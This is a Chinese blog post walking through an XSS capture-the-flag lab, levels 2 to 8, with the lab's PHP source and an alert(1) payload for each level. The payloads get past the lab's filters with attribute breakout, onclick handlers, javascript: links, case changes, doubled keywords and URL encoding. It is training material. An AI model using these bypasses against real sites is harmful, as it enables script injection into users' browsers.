当前位置:网站首页>CTF-XSS
CTF-XSS
2022-08-02 14:03:00 【H2223】
环境源码
链接:https://pan.baidu.com/s/1qaSY5PbU8qwgBzbssGv4IA
提取码:6elk
使用phpstudy运行
level2

先写随便写一些字符
<input name="keyword" value="1">
发现字符出现在了双引号中

输入1">发现">逃逸出双引号了
输入1"><script>alert(1)</script><"
<input name="keyword" value="1"><script>alert(1)</script><"">输入在HTML里是这样的
这样<script>alert(1)</script>就逃逸出""和<>了
level3

到第三关,第二关的语句就失效了
看看后端代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现他使用了htmlspecialchars这个函数,htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
htmlspecialchars(string,flags,character-set,double_encode)
在该函数中的第二个参数规定如何处理引号,默认是只处理双引号,不处理单引号
在代码中的函数没有第二个参数,他没有处理单引号,我们可以用单引号逃逸出来,但<script>标签有<>也会被过滤,可以使用onclick
1'οnclick='alert(1)
level4

第四关对<script>标签有过滤,使用onclick就行
1'οnclick='alert(1)
level5
输入1'οnclick='alert(1)
<input name="keyword" value="1'o_nclick='alert(1)">输入1"><script>alert(1)</script><"
<scr_ipt>alert(1)<"">
<input type="submit" name="submit" value="搜索">
</scr_ipt>分别对on和script有过滤
可以使用a标签和JavaScript伪协议
a"><a href="javascript:alert(1)">aaaaa</a>
level6

查看前端代码
<input name="keyword" value="a">
<a hr_ef="javascript:alert(1)">aaaaa</a>发现href被过滤了
查看源代码
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);发现过滤了很多标签,但没过滤大小写
1"ONCLICK="alert(1)
level7
输入a"><a href="javascript:alert(1)">aaaaa</a>
<a ="java:alert(1)"="">aaaaa</a>发现script直接没了
1"ONCLICK="alert(1)也不行
试试双写
1"OONNCLICK="alert(1)
成功了
level8
这是一个友情链接,要在其中输入javascript:alert(1)
但script被过滤了,双写,大小写都不行
可以使用urlencode编码
javascript:alert(1)
边栏推荐
猜你喜欢
![[ROS] Introduction to common tools in ROS (to be continued)](/img/ea/e390106f750bf697e62a3a296014d2.png)
[ROS] Introduction to common tools in ROS (to be continued)
![[ROS] The difference between roscd and cd](/img/a8/a1347568170821e8f186091b93e52a.png)
[ROS] The difference between roscd and cd

【c】大学生在校学习c语言常见代码

yolov5,yolov4,yolov3乱七八糟的
![[ROS]roscd和cd的区别](/img/a8/a1347568170821e8f186091b93e52a.png)
[ROS]roscd和cd的区别
![[ROS] The software package of the industrial computer does not compile](/img/a8/a1347568170821e8f186091b93e52a.png)
[ROS] The software package of the industrial computer does not compile

How does Apache, the world's largest open source foundation, work?

利用c语言实现对键盘输入的一串字符的各类字符的计数

Error Correction Design Principle of Hamming Check Code

重新学习编程day1 【初始c语言】【c语言编写出计算两个数之和的代码】
随机推荐
Network pruning (1)
Introduction and use of Haystack
原码、反码、补码和移码
编程规范——LiteOS
C语言待解决
verilog学习|《Verilog数字系统设计教程》夏宇闻 第三版思考题答案(第九章)
getUserProfile接口不显示用户性别和地区
Flask request application context source code analysis
Programming Specifications - LiteOS
Flask-RESTful request response and SQLAlchemy foundation
VS Code无法安装插件之Unable to install because, the extension '' compatible with current version
Flask framework in-depth
MarkDown syntax summary
十分钟带你入门Nodejs
Flask framework in-depth two
Unit 5 Hold Status
C语言日记 5、7setprecision()问题
jwt (json web token)
OpenCart迁移到其他服务器
verilog学习|《Verilog数字系统设计教程》夏宇闻 第三版思考题答案(第十二章)